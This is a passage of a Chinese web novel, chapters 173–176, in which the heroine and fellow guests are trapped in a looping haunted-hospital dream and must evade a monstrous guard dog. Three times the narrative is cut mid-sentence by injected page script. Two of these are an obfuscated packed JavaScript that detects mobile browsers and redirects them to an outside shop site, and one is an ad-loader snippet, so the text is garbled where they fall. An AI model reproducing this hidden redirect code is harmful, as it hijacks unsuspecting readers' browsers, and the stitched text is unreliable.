映入眼帘的是挂在床铺四周的白色隔帘,天花板上的灯已经熄灭,可透过隔帘,俞小澄发现两边亮着微弱的冷白光,将两个人影一左一右映照在白色隔帘上。 俞小澄环顾四周,床头的供氧系统、生命检测仪器、可移动输液架等,无不在告诉她,这里是医院病房。 一时搞不清这又是什么主题的梦境,俞小澄紧张地望着身侧两边人影,倒吸一口气,缓缓从床上坐起,心里盘算着是不是该先离开这个诡异的病房。 可她刚一动,右边的人影似乎扭头看了过来,一个沧桑的男人声音传来:“待会儿医生来巡房,你可别让医生发现你在睡觉!” 173. 梦境(七) 一句莫名其妙的话,将俞小澄弄糊涂了,她抬手看了看手表,时间是10点整,病房内除了左右两边床铺的床头灯发出微弱的冷白光,其他地方皆深陷黑暗中,显然现在是晚上。 俞小澄更疑惑了,谁家好医生大半夜巡房啊? 俞小澄没搭话,左侧的人影接着开了口,声音听上去像是位老太:“我知道,没看我睁着眼坐在床上嘛!你这老头子真啰嗦。” “哦,原来不是在跟我说话……” 俞小澄心里犯嘀咕,庆幸自己方才没开口,否则又要自作多情遭尴尬。 听这两人谈话,似乎是对老年夫妻,你一言我一语,完全拿身处中间的俞小澄当空气墙。 也不知这床位是如何安排的,怎么把她丢在两人之间当电灯泡。于是她坐直身子,紧紧贴着床头,唯恐挡了两人的光。 “老伴儿,医生给的药可不能吃啊,吃了就回不了家啦。” “知道,知道。” “那些护士说话可不能听啊,听了就你的病就好不了咯。” “知道,知道。” “医院的门啊,不能从内侧打开,你记住了吗?” “知道,知道。” “坐电梯啊,奇数要遭殃!” “知道,知道。” “走楼梯啊,别睁眼,睁眼要遇鬼打墙。” “知道,知道。” “不能穿鞋过走廊,扰了恶鬼要断脚。” “知道,知道。” “如果遇见保安啊,你得快点跑,被抓可就没命咯。” “知道,知道。” 这两人越说越离谱,俞小澄听得两眼越瞪越圆,感觉这对夫妻在讲鬼故事,加之场景是在医院,她不得不怀疑,这里其实是精神病院。 诡异的对话还在继续,但俞小澄已经没有兴致继续听下去,她打算先去找寻其他住客的踪迹,当然最重要的是确认吴樊祐进入梦境后是否依然昏迷。 如果吴樊祐继续保持昏迷状态,恐怕这场梦境就不太好办了,进宝吞噬恶灵的能力时灵时不灵,她还没有万全的把握能从寒梅梦境脱身,更何况带着一个不省人事的人。 她一边胡思乱想着,一边下了床,掀开隔帘的缝隙,探出头去。 整个房间只有这三张床铺,房间不算大,一条狭窄的过道通往房门,门边还有一间独立卫生间。 俞小澄蹑手蹑脚走出隔帘,顺着过道往房门方向走去。 两侧床铺的白色隔帘上各映出一个人影,动作统一地将头偏向中间,也就是俞小澄方才睡的那张床,那对老夫妻的一问一答还在持续,似乎完全不在意中间的床铺上有没有睡人。 路过靠近房门的那间床铺时,余光瞥见白色隔帘没有将床铺挡严实,露出巴掌宽的一条缝隙,引得俞小澄下意识地扭头往里瞅。 微弱的床头灯为俞小澄提供了视野,她可以清晰地看到白色的床单和枕头,唯独没有看到有人坐在隔帘里头。 俞小澄的第一反应是视觉误差,兴许人并未坐在床头,她将视线再次移回投影上,可不管她怎么看,那人影似乎都应该坐在床头灯附近。 心里陡然腾起一股凉意,可怕的想法逐渐萌芽,俞小澄不敢继续探寻真相,一刻都不敢停留,转身拔腿就跑。 拉开房门,闪身冲出房外,将房门在身后紧紧闭上,深呼吸几个来回,才将心中的寒意逐渐驱散开来。 这是医院怪谈?校园怪谈加强版? 俞小澄偷偷在心中将其调侃一番,与校园怪谈相比,刚才那些鬼话实在让人摸不着头脑,与其说是怪谈,不如说是疯言疯语更贴切。 顾不上研究太多,俞小澄环顾四周,她似乎正处于一条长长的走廊中,照明灯熄灭,只有两侧墙面上的安全出口指示灯亮着。 那绿色的指示光向着两端无限延伸,中间穿插着一道道房门。 在这条不知通向哪里的走廊里,俞小澄隐约看到两个人影,分别站在左右两边距她大概十步远的房间门口,位置十分对称,连姿势都几乎一模一样。 如果不是俞小澄恰好站在两人中间,她会以为某一侧立着一面镜子。 那两个人一声不吭地立在门边,大概是被她开门的动静吸引了注意力,视线自然而然向她汇集。 不等她开口,左边人影抬手指了指左边走廊,木讷地说:“往这边走,返回病房。” 俞小澄心想:说什么傻话呢?病房门不是在我身后么,想让我回哪间啊? 来不及细想,右边人影举起手,指了指右边走廊,忽然也开口道:“往这边走,前往手术室。” 这两人说的话跟屋子里的鬼话一样,都让人感觉莫名其妙,看上去像是在给俞小澄热心地指引方向,可总让俞小澄心里发毛,哪里敢往他们说的方向走。 俞小澄站在门边没有动,试探性问道:“请问,你们有看见其他人走这里经过吗?” 在她问出这句话后,原本动作顿住的二人几乎同一时间抬手指向了走廊两边,又将方才的话重复了一遍。 “往这边走,返回病房。” “往这边走,前往手术室。” 这似乎是他们对俞小澄问话的唯一反应,根本不在意俞小澄说了什么,仿佛是设定了固定台词的游戏NPC,能做出的反应也就这么一种。 整场梦境一开始就让俞小澄摸不着头脑,处处透着诡异的气息。 俞小澄不敢靠近那两个人影,又不敢返回身后病房,视线便自然而然落在了对面的那扇紧闭的房门上。 其他人进入梦境,会不会跟她一样,被单独关在某间病房中? 她不由得产生如此猜想。 在安全出口指示灯的微弱照明下,她隐约可以看到无数个房间分布在这条不见尽头的走廊两侧,某一扇门后说不定就藏着她熟悉的脸。 如此思考着,俞小澄迈步向前,无视两边人影的指引,径直走到了对面那扇门前,手握在门把手上轻轻一拧,门没有锁,就这么轻而易举被她推开了。 房中布局与她那间房别无二致,门边有个独立卫生间,房门虚掩着,沿着狭长的过道往里走,三张床铺以相同间距整齐摆放在一侧,一路到底则是三扇窗户,其中一扇留着手臂宽的一道缝,用作通风换气。 那三张床铺周围同样拉着白色隔帘,两边的床头灯亮着,微弱的冷白光在隔帘上映出两个人影,唯独中间的床铺没亮灯,显得有些不合群。 这一瞬间,俞小澄有种不小心走错方向,返回了自己房间的感觉。 她一脸诧异地侧头看向门外,对面关闭的房门让她有些恍惚,此时床上那两个人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740878|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又操着沧桑的嗓音,开始了如出一辙的对话。 “待会儿医生来巡房,你可别让医生发现你在睡觉!” “我知道,没看我瞪着眼坐在床上嘛!你这老头子真啰嗦。” “老伴儿,医生给的药可不能吃啊,吃了就回不了家啦。” “知道,知道。” 仿佛进入了循环一般,她经历过的一切又在眼前重现一次,那两个老年夫妻鬼影说的话没有任何改变,就像是提前录制好的音频,只等她出现后,循环播放。 这梦境越来越让她理不清头绪,第一反应是呼唤招财进宝,可还未在脑海中大喊出声,卫生间传来一阵响动,像是什么东西掉在地上发出的声音,吓得俞小澄一激灵。 卫生间里有什么东西…… 俞小澄整个人背靠墙壁站立,视线死死锁在那虚掩的房门上,心里思考着自己是应该躲进隔帘后,还是直接冲出房间。 房中突然没了动静,让人更是紧张,俞小澄脑子里闪过各种恐怖故事场景,感觉门后有只眼睛正虎视眈眈地盯着自己。 如果未知会过于强化人内心的恐惧,那么弄清真相便是击败恐惧最好的方式。 下一秒,俞小澄唤来了招财进宝,并让他们去卫生间里看看有什么东西藏在里面。 进宝一听卫生间里有东西,立马抱紧俞小澄大腿,朝招财挥挥手,像是使唤跟班一样,吩咐招财赶紧去检查。 “如果是吓人的东西,你也不用告诉进宝了,你堵好门,我带姐姐逃离这里。”进宝一边用俞小澄的腿挡住自己的身子,一边对招财下达指示。 招财无奈地摇头叹气,道:“你哪里是带姐姐逃离,是你自己想逃吧!” 嘴上虽然吐槽不停,可招财还是很听话地飞进了卫生间。 片刻后,招财一脸烦躁地穿墙而出,一见俞小澄就抱怨道:“姐姐,卫生间里躲着个傻子,刚才估计是被你吓了一跳,撞倒了拖把,这会儿一动不敢动。” “谁啊?” 俞小澄一脸好奇地往卫生间走去,心里希望是吴樊祐,可仔细一想,吴樊祐似乎不至于被吓得往卫生间躲藏。 “那个纹身男。”招财感觉无趣地答道。 俞小澄一时不知是欣喜多,还是失望多,不带一丝犹豫地推门而入,迎面而来的是一声没能忍住的惊呼。 “哇啊卧槽!我没睡觉。” 在这间黑暗的小房间中,两个人影面面相觑,艰难地分辨着黑暗中的身影。 还好俞小澄提早知晓了答案,这会儿听到范正昂熟悉的嗓音和奇怪的话语,只觉得好笑,便咯咯笑了两声,打趣道:“你该不会是打算在卫生间躲到梦境结束为止吧?” “唉,原来是俞小姐啊,你进门能不能先出个声,我还以为是医生来巡房了呢……”范正昂听到俞小澄的声音,顿时松了一口气。 俞小澄忍俊不禁,问:“医生巡房你干嘛躲起来?” 范正昂说:“外面那两老年人说的话很奇怪,小心驶得万年船嘛,万一又是什么要命的怪谈规则就遭了。” “哦……外面那两个……呃,那些鬼话不听也罢。”俞小澄想了想,担心再将范正昂吓一跳,终是没有告诉他,那两个老人恐怕不是人。 忽然范正昂惊声问道:“等等,门没关吧?” 174. 梦境(七) 范正昂的一惊一乍吓了俞小澄一跳,只见范正昂擦肩而过,着急奔向病房大门,直到看见房门敞开,他抓着门把手瘫软在门边上。 “什么情况?”俞小澄一脸诧异地跟了出来。 范正昂蹲在地上,用身体抵住房门,问:“你从哪儿来的?” 俞小澄指了指对面房间,一头雾水地答道:“我醒来就在你对面那间房。” 范正昂闻言比她表现得还惊讶,反问:“那你怎么出门的?” 俞小澄彻底被他问懵了,笑道:“用手开门,用脚走出来的,否则还有什么别致的出法吗?” “怎么会?”范正昂挠着头站起身,语气中满是疑惑,“这房门从内侧无法打开啊。” “噗……” 俞小澄刚刚生出一点紧张情绪,就被范正昂的这句话彻底击溃了。 她还以为范正昂有什么惊天大发现,没想到说出了和房中鬼影一样的鬼话,可把她逗乐了。 她忍不住取笑:“每场梦境不同,你别把每场都当怪谈,这鬼话你听着合理吗?” 范正昂的声音却没有笑意,甚至流露出些许胆战心惊,严肃道:“我也希望只是那对夫妇胡言乱语,可他们说得振振有辞,我心想会不会是在提示我规则,便开门试了试,当真被锁死了!” 俞小澄闻言脸上笑容凝固,从范正昂的话中她听不出玩笑成分,也就意味着刚才这间房真的从里面打不开门。 也正因如此,范正昂与这房门斗争了许久,一直没有走出房间,直到听到门外有动静,他以为是老人说的医生巡房出现了,担心有危险,索性躲进了卫生间。 俞小澄顿时茫然了,她自己出门并没有遇上这种怪事,还是说只有范正昂这间房有古怪呢? 她方才轻松拧开这间房的门锁,可以肯定,这间房并没有上锁,那为何范正昂会打不开门,感觉房门上了锁呢? 俞小澄看着门把手陷入沉思,不管怎么想都觉得没有门能怪到只能从外侧打开。 “要不我试试?” 俞小澄说着将手伸向了门把手,欲将门关上,验证一下范正昂的说法。 可她手还未靠近,就被范正昂拦了下来。 “别,这也太冒险了,万一我们两个都被困在门里,下次要再等人从外侧开门就不知道要等到猴年马月了,还是赶紧走吧。” 范正昂不敢冒险,推着俞小澄就往走廊上走去。 俞小澄一时不好解释,其实就算门当真被锁,她也可以让招财进宝从外侧开门,算不上冒险。 无奈之下,只得妥协,俞小澄再次回到了走廊里,身后的门被一刻都不想多呆的范正昂狠狠关上。 下一秒,范正昂就注意到走廊里拦住两边去路的人影。 见到有人出现,那两个人影立马抬手指引方向。 左侧人影指着左边走廊说:“往这边走,前往门诊部。” 右侧人影指着右边走廊说:“往这边走,前往电梯间。” 那两个人影看上去实在有些诡异,让第一次见识到这古怪一幕的范正昂陷入了沉默,对于该往哪儿走没了主意,他疑惑地问俞小澄:“这又是唱的哪一出啊?” 俞小澄此刻更在意的是两人提到的地点都发生了转变。 她将自己方才走出房间遇上这两个古怪人影的过程告诉了范正昂,并强调了两人指向地点的改变。 “会不会没什么特别意义,只是告诉我们两个方向分别通往哪里?”范正昂猜测道,“说不定他们说话内容随时间改变。” 于是在范正昂大胆的猜测下,两人每过一两分钟就问一次关于走廊通往哪里的问题,试图收集不同的答案。 可惜,与俞小澄第尝试沟通一样,这两个人影永远只重复相同的话。 等了五六分钟,范正昂终于放弃了尝试,道:“要不我们还是别理这两个人了,看他们样子,好像对我们没什么恶意,随便走吧,看看其他房间是不是有人被困。” 俞小澄赞同,与其在这儿浪费时间搞清楚这两个怪人存在的意义,她宁愿早点确定吴樊祐是否安全。 最终两人决定往电梯间方向走,如果这一层没有找到其他人,那么就通过电梯去其他楼层。 决定好方向后,二人转身向右侧走去。 只是路过人影面前时,他们都不约而同贴墙行走,想尽量远离那个一声不吭盯着他们的人影。 可经过人影面前没走两步,俞小澄感觉自己撞进了一面透明的水墙,浑身一阵冰凉,下意识地屏住呼吸闭上眼。 这种怪异的感觉只持续了几秒,她意识到自己身上并没有潮湿的感觉,眼前有了点亮光,再睁眼,眼前的走廊变了样。 俞小澄和范正昂不知何时已经离开了走廊的区域,此刻正站在电梯间,左右两侧各有四部电梯,有的只通单层,有的只通双层,甚至还有一部手术专用电梯。 电梯间连接走廊的通道被玻璃门封了起来,走廊里漆黑一片,而电梯间正常亮着灯,两边对比看来极不协调。 俞小澄出于好奇,走到了玻璃门前,看样子理应是感应自动开启的玻璃门如今不为所动,将他们彻底隔绝在了电梯间里。 两人都有些疑惑不解,谁都不知道发生了什么,为何突然就被传送到电梯间来了。 现在想要再回走廊寻找吴樊祐,似乎已经做不到了。 对这梦境有些无语的俞小澄不得不承认,要完全依靠自己找到吴樊祐根本不可能,她干脆将这件事交给了招财。 招财对于探索整个梦境地图充满兴趣,用不着俞小澄吩咐,便挥手穿墙而去,只留下进宝照顾俞小澄。 与其说让进宝照顾俞小澄,不如说是让俞小澄照顾进宝,因为一到这种令人毛骨悚然的地方,进宝就成了俞小澄大腿上的挂件,基本上连眼睛都不愿意睁开。 “走廊上那两个人,真的是在提示下一站抵达的场景啊。” 当俞小澄为走不了回头路苦恼时,范正昂正对着那八部电梯苦思冥想,分析着从进入梦境到现在所有遇到的怪事。 最后他得出结论:病房里的老年夫妇是向玩家传达梦境规则的新手村NPC,而走廊上的两个人影则类似于游戏中的传送门,他们抵达的空间可能就是一个个游戏副本。 俞小澄不得不为他精彩的推测鼓掌,听上去十分合理,只是那所谓的规则,俞小澄觉得还有待考证。 “接下来我们去哪里呢?”范正昂自问自答,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744377|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道能不能直接下到一楼,然后离开这里,不行,坐电梯貌似奇数是禁忌。” 俞小澄对于范正昂毫无依据的深信不疑实在感觉无奈。 这场梦境与以往不同,没有人告诉他们具体要做什么事,他们的潜在目标又是什么,而是让他们在这个看起来像是医院的场景中,漫无目的地乱走乱逛。 正常人第一反应自然是离开这里,可按照以往的经验,俞小澄知道,只要六日期限未到,他们谁都不可能逃离。 就在俞小澄尚在考虑时,范正昂已经按下电梯下行键。 很快,八部电梯几乎同时来到他们所在的13楼层,并同一时间敞开门,仿佛等待着他们的选择。 这地方果然够诡异。 范正昂选择了一部只在双数楼层停靠的电梯,并唤着俞小澄同乘。 秉承着待在原地也解决不了任何问题的原则,俞小澄随范正昂走进了电梯,然后便看他按下了2楼按钮。 整个过程没有出现任何意外,电梯顺利在2楼停靠,范正昂带头走出电梯,并计划通过楼梯间下到一楼,然后离开这栋建筑。 虽然俞小澄不知道他这么大费周章的意义何在,但是她并不想抨击对方的小心谨慎,说到底,谨慎带来的些许麻烦总好过鲁莽带来的严重后果。 然而,两人走出电梯的瞬间,那种诡异带来的异样感觉似乎从未放过二人,一路穷追不舍,最终在这里不期而遇,狠狠咬住二人脖子,让人感觉到一股熟悉的窒息感。 俞小澄眼前的灯光再次消失,只有安全出口指示灯微弱的光勾勒出走廊的轮廓。 身后的电梯早已消失无踪,只余病房大门紧闭着。 左右两边大约十步远的房间门前依然站着两个黑乎乎的人影,一见有人出现,便热情地抬手指引。 左侧人影指着左边走廊说:“往这边走,前往手术室。” 右侧人影指着右边走廊说:“往这边走,前往候诊大厅。” “什么情况?我们怎么又回来了?”范正昂震惊不已。 是的,任谁在这种情况下都会懵圈,即便是一路过关斩将经历了六场梦境的俞小澄。 她甚至怀疑这梦境和陷入无限循环的游乐园一样,但这里循环的时间明显短许多,他们就像根本没有离开过这条走廊,只是晃神做了个梦一样。 俞小澄看了看手表,时间很正常地流逝,从她离开房间遇到范正昂,再到通过电梯下到2楼,也就过了二十来分钟。 时间对得上,那就意味着,这不是时间循环,那么,很有可能是空间循环。 难道不管他们如何走,都一定会回到这条诡异的走廊吗? 俞小澄忍不住如此猜测。 “现在还说不清,再试试吧。”俞小澄只能如此说道。 她表面上看起来很冷静,实则心里和范正昂一样不安,或许他们都害怕死亡,却又有本质区别。 俞小澄不想这么快死去变恶灵,她还有想见的人没有见,也有放心不下的人的安危没有确认。 二人最终以猜拳的方式决定了下一个目的地,然后转身向右侧走廊走去。 再次撞进一面水墙,然后他们见识了这场梦境更加疯狂的一面。 175. 梦境(七) 宽敞的候诊大厅里,灯光明亮,分布四周的门诊室房门禁闭,但门外的电子分诊屏上密密麻麻排着问诊患者列表,明明大厅里空荡荡的只有五个人,却看上去好像生意十分火爆。 当俞小澄看清候诊大厅里的“患者”模样时,她又惊又喜。 惊是因为他们中大多数人在看见俞小澄和范正昂走进候诊大厅后,发出了绝望的尖叫;喜是因为她看到吴樊祐正表情淡漠地坐在候诊大厅中央。 俞小澄顾不上询问那四个绝望的人究竟是怎么了,她径直走到吴樊祐面前,先是一阵欣喜,后又觉得这样显得自己太在意不好,于是收敛脸上喜色,故作镇定问道: “哟,我看你白天跟要死了一样,没想到晚上还能醒过来。” 吴樊祐面露苦涩,嘴贱地调侃道:“呵呵,我还以为学姐会直接把我扔客房里不管呢。” 几乎昏迷了一整天的吴樊祐哪里知道发生了什么事,他的记忆还停留在昨天晚上,那时俞小澄还对他气得紧,一副随时可能要他小命的模样。 听他这么说,俞小澄并不打算解释,或许就让他带着这种印象离开也好。 俞小澄如是想着,便嘴上不留情地怼道:“一开始我还真这么打算,可后来一想,不能亲眼看着你痛苦死去,多少还是让人感觉遗憾,所以你捡了一条小命。” “那这场梦境可能是最后的机会了,学姐想好要我如何赎罪了吗?”吴樊祐好像认命一般冲俞小澄微微一笑。 可那人的笑容,仿佛遭受了百般磨砺,失去了所有阳光,除了苦涩与遗憾,俞小澄再看不到其他。 这样的吴樊祐,再没有刚到旅店时那股自信,他似乎很累,累得一直安静靠坐在椅子上,没精打采地应付着俞小澄的问题。 俞小澄估计旅店管理者对他的影响依然还在,只是因为进入梦境,所以他才勉强从冻结中苏醒,可无法反抗与无法得偿所愿的挫败感,消磨光他所有的精力,于是他如同摆烂一样静待着自己的结局。 “还没想好,你也不用急着求解脱,等今晚梦境结束,我会让你迎来你应得的结局。” 俞小澄冷冷念出脑中想好的台词,然后将心中的不舍全部掩埋,不漏出一丝破绽,不流露一丝真情实感。 吴樊祐失落地低头垂眸,声音疲倦地低声沉吟:“等今晚结束吗……恐怕来不及了……” 俞小澄假装不知晓他说的话究竟有何含义,也没有追问下去,而是转头看向将范正昂团团围住的那四人,彻底结束了这个话题。 以庞大师和汤神婆为首的四人正一脸焦虑地将范正昂围住,七嘴八舌地发泄着绝望的情绪。 俞小澄不解地向吴樊祐询问究竟是怎么一回事。 据吴樊祐所言,他们几人的遭遇其实与俞小澄差不多。 在亮着微光的三人病房醒来,听神神叨叨的病友聊着莫名其妙的话题,然后在走廊里遇见堵路的人影,然后根据选择被传送到医院的各个场景。 而后,他们陆续抵达了这个候诊大厅,然后便发现走不出去了。 “走不出去?”俞小澄表示不解。 “嗯,门打不开了。”吴樊祐平静地回答。 这个答案俞小澄觉得甚是熟悉,细想之下,她想起了初遇范正昂时听到的话语——房门从内侧无法打开。 俞小澄一脸难以置信,于是她决定亲自尝试,可不管是离开候诊大厅的大门,还是通往楼梯的门,全都像上锁了一般,紧紧闭合,根本无法开启。 庞大师叫苦不迭:“天啊,这医院的门只能从外侧开启,我们本来还指望你们能来帮忙开门,这下好了,大家都被困死在这儿了。” “有没有可能,这门本来就在我们进来后就被人恶意锁死了,哪有这些神神鬼鬼的事,无稽之谈。”已婚女人不耐烦地说着自己的见解。 在她说了这句话后,庞大师、范正昂、邹奕不约而同跳出来证明,他们当真遇上了这么离奇的事,自己怎么也打不开的房门,外面的人轻轻一推就开了。 俞小澄忍不住追问:“等一下,你们都打不开房门,那是怎么走出病房的?” 一问之下才知道,就像她意外开门遇到了范正昂,其他人也基本上是因为遇到了其他人无意间登门,才能侥幸从病房中逃脱。 比如汤神婆意外走了返回病房的那一侧走廊,被传送到了吴樊祐的房门前,接着二人便成为最早抵达候诊大厅的人。 而已婚女人出门后在对面房间遇上了被困房中的邹奕,后来两人又莫名其妙到了庞大师的门前,再次收获了一名队友,也因此晚到候诊大厅一步。 从他们的回忆中,俞小澄清楚得到一条信息,能正常打开房门的除了她以外,就只有女教师和汤神婆,而剩下的人全都打不开房门。 这事让大伙很困惑,然后这种困惑在抵达候诊大厅后终于达到了统一,因为这下谁也打不开房门了。 女教师满脸写着不解,质疑道:“你们究竟凭什么认为门可以从外侧打开?” 邹奕:“房间里两个老东西说的。” 庞大师:“隔壁床两病友不是说了吗?” 范正昂:“初始房间的NPC提示啊。” 这三个人几乎是异口同声给出了答案,而他们的答案如出一辙。 因为太过统一,反倒显得有些怪异。 他们开始相互确认起对方话中的人是什么样子,最后发现形象竟惊人的一致。 就连顺利打开房门的已婚女人和汤神婆都不得不承认,她们房中遇见的“病友”也和其他人碰见的几乎没有区别。 但与这三人不同的是,已婚女人听到那两人叨叨就心烦,所以很快离开了房间,并没仔细听那两人谈论了什么东西。 而汤神婆的反应更是耐人寻味,她一直盯着大厅里镇定地谈论着屋子里两老人的大家,面上惶恐之色无法掩饰。 她面色阴沉地问:“你们都没发现隔壁两张床上根本就没人吗……” 这事俞小澄自然是知晓的,不过担心引起新人恐慌的情绪,故而选择缄口。 不过,她没想到汤神婆这个装神弄鬼的骗子居然发现了实情。 在汤神婆说出这种让人头皮发麻的话后,众人眼中无不写满震惊与恐惧。 “不是吧……”庞大师面色铁青,“所以在我旁边说话的是什么东西……” 大家都不愿去想象,本能地对那种东西产生抗拒。 这个梦境世界有太多东 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 西脱离了现实,他们没办法用正常的思维去思考所有问题。 不过,在他们之中,有一个人属于油盐不进,平等地看所有人都不顺眼,这人就是已婚女人。 她语气烦躁地说:“所以,那些鬼话有何可信?居然还能成为你们一口咬定的根据,哼……” “现在事实不就摆在你眼前吗?要不你将大门打开?”庞大师不服气地回应。 已婚女人一脸鄙夷:“我都说了,肯定是有人锁了门,不如不要自己吓自己。” 就在他们争论不休的间隙,俞小澄低头看向脚边的进宝,心中劝说她去开门,然后收获了进宝可怜兮兮的撒娇。 无奈之下,俞小澄只能寄希望于招财,也不知招财到哪儿去找人了,人都已经被她自己碰上了,而找人的家伙反而失去了踪迹。 好在她心里的呼唤很快得到了回应,逛了大半个地图的招财珊珊来迟,却在关键时刻一脚踢开了离开候诊大厅的大门。 一股清凉的风穿堂而过,所有人的视线都汇聚在敞开的大门上,然后,激动之情缓缓来迟,哪里顾得上门究竟是如何开启的,众人迫不及待地往门口赶去。 然而,一股未知的力量将所有人定住,然后眼睁睁看着自己的脚失去控制,往相反的方向走去,最终在距离大门最远的位置排成一行。 而大门前,突然出现一只足有三米高的巨型看门狗,周身黑气,眼睛猩红,往门口一站,将大门挡了个严严实实。 大厅内的广播忽然响起:“本场游戏正式开始,友情提示,本院吉祥物门将最不喜欢会动的东西,如果让他发现你会动,他立刻就会扑上去,请千万小心。” 广播里的女子声音带着些俏皮味,就像是在与朋友进行游戏,丝毫感觉不出她正宣布着丧心病狂的规则,纯粹将人命视作草芥。 那声音不曾出现在俞小澄的记忆中,却带给她一种似曾相识的感觉。 就在俞小澄愣神时,广播中传来一阵虚伪的笑,故作一副替人着想的模样,说: “为了避免大家长时间处于紧张状态,我特意将游戏时长设定在一小时,一小时内如果你们还没走出大门,大门会关闭,门将会吃掉留在这里的所有人。” 话音刚落,所有门诊室外的分诊屏上,都出现了红色的一小时倒计时,精准地调动起紧张与压迫的情绪。 这样的游戏规则哪里是在为玩家着想,根本就是嫌玩家死得不够快。 周身黑气翻腾的大黑狗开始在有限的场地里踱步,血红的双眼却死死盯着远处的玩家,仿佛只要有人敢动一步,它就会扑上去,撕碎那人的脖子。 在这种威压下,七位住客僵住身子,连眼睛都不敢眨一下。 这样下去必死无疑,俞小澄默默地将想法传递给招财。 招财也没有让她失望,当即飞向了候诊大厅左边角落,踢翻绿植盆栽,掀飞宣传单,拍打桌椅板凳…… 这一顿堪称灵异现象的操作,成功吓得几位住客目瞪口呆、浑身一颤,也同时吸引了大黑狗的注意。 只见大黑狗扭头,立马向动静处飞扑过去,俞小澄趁机抓住吴樊祐便往最近的柱子后躲,当大黑狗听到脚步声往回看时,人群中已经少了两个身影。 176. 梦境(七) 大黑狗盯着人群方向看了许久,鼻子在空气中嗅了嗅,随后又被招财弄出的响动吸引,扭头冲着声音来源和移动的物体就是一爪,所到之处留下道道裂痕,皆是它利爪所致。 这威力若是拍在人身上,就算没有一击毙命,要再爬起来恐怕是不可能了。 兴许是被大黑狗的威力震慑住,其余五人全都站在原处,神色紧张地望着大黑狗,脚下不敢移动一步。 老早躲到柱子后的俞小澄和吴樊祐,此刻总算可以畅快地深呼吸几口气,稳定住不安的心绪,然后贴着柱子悄悄观察大黑狗的动向。 他们距离大门有五六十米,大黑狗只要听到一点动静就会发动猛攻,以他们的脚程很难赶一口气冲出大门。 谨慎起见,二人只能一边注视着大黑狗的方向,一边缓慢地往前移动,一旦大黑狗转过头,他们就不得不暂作停顿,假装自己是候诊大厅里的石头雕塑。 好在这招似乎还挺管用,这只大黑狗在招财的干扰下,仿佛跟他们玩起了“一二三木头人”游戏。 看见俞小澄和吴樊祐稳步挪动了几米,距离大门的路程逐渐缩短,一直待在原处的五人也终于按捺不住,纷纷效仿,心急着想要离开这个要命的场地。 大厅四周的倒计时一刻不停,随着时间越来越短,众人内心的焦急逐渐被放大。 与此同时,大黑狗竟然渐渐对招财的干扰丧失了兴趣,望向人群方向的频率越来越高。因此,众人时常走不了一步就得停住脚步,为了避免步子跨得太大来不及落下脚就被大黑狗看见这样的尴尬境地,他们的步子也越迈越小。 对他们来说,通往自由的路程过于遥远,缓慢的进程与时间的催促时刻消磨着众人的意志,越往后,这种浮躁的情绪愈演愈烈。 直到时间还剩六分钟,可他们距离大门还有十米左右,那只大黑狗仿佛彻底失去了与空气搏斗的兴趣,索性一跃而起,跳回了大门口。 它如同一尊大佛将唯一的出路堵得密不透风。 “这特么还怎么玩,时间要来不及了……”庞大师心急如焚,从牙缝中挤出一句牢骚。 邹奕悲观地低声念叨:“我们完了,都完了……” 俞小澄也忍不住皱起了眉头,招财手段用尽,却已经吸引不了大黑狗的注意,哭丧着脸飞回俞小澄身边。 吴樊祐的情况并不乐观,病毒入侵一般的高烧似乎并没有因为他进入梦境而消失,他整个人看起来摇摇欲坠,额头上密密一层虚汗,嘴唇苍白得可怕。 只是不到一小时的走走停停和注意力高度集中,就已经令他疲惫不堪,重重地喘着粗气,感觉随时可能倒下。 “就在这里怎么样?”吴樊祐突然小声问道。 俞小澄没能听懂,那虚弱的声音让她以为听错了,余光扫向吴樊祐,轻哼出一个上扬的鼻音,算作回应,也算作提问。 “就到这里吧,我恐怕等不到接受你的惩罚了,你……” 吴樊祐没有转头看俞小澄,只是直视着前方的庞然大物,眼睛里燃烧着决绝的火光,仿佛下定了某种决心。 他的话只说了一半,后面的话到了嘴边,却像是被半途截住,不知他脑海中有什么争斗了一番,然后将后面半句话堵成了一声叹息。 他似乎终于死心了。 他好像打算就此落幕。 一瞬间,俞小澄明白了吴樊祐的想法,以他现在的状态,很难通关梦境,也别想斗过俞小澄,劝说更是无路。 仿佛孤注一掷般,他挺直腰板,轻声说道:“俞小澄,别恨我。” “别……” 俞小澄的话还未说出口,便见吴樊祐举起双手挥舞起来,他这是打算直接同归于尽。 俞小澄再顾不上其他,一把抓住吴樊祐抬起的胳膊,拉着人就往墙边躲。 可大黑狗已然发现这边的动静,高耸后背,压低头,如蓄势待发的弓箭,直冲冲向人群方向奔来。 整个场面彻底失控。 “草拟马!” “啊!” “快跑!” …… 人群中爆发出一阵谩骂与尖叫,谁都不敢再在原处停留,纷纷作鸟兽散。 吴樊祐这招鱼死网破实在狠,显然没打算放过任何人,气得俞小澄牙痒。 可惜现在根本无暇报复,她迅速环顾四周,发现身后离她不到五米的地方有一扇通往楼梯间的门,于是她拉上吴樊祐就往那里狂奔,一边跑还一边高喊了一声“招财”。 招财反应极快,一溜烟便穿门而过,然后下一秒,大门敞开,里面一片漆黑。 俞小澄已经顾不得里面会不会有危险,死命拉着吴樊祐往门里冲。 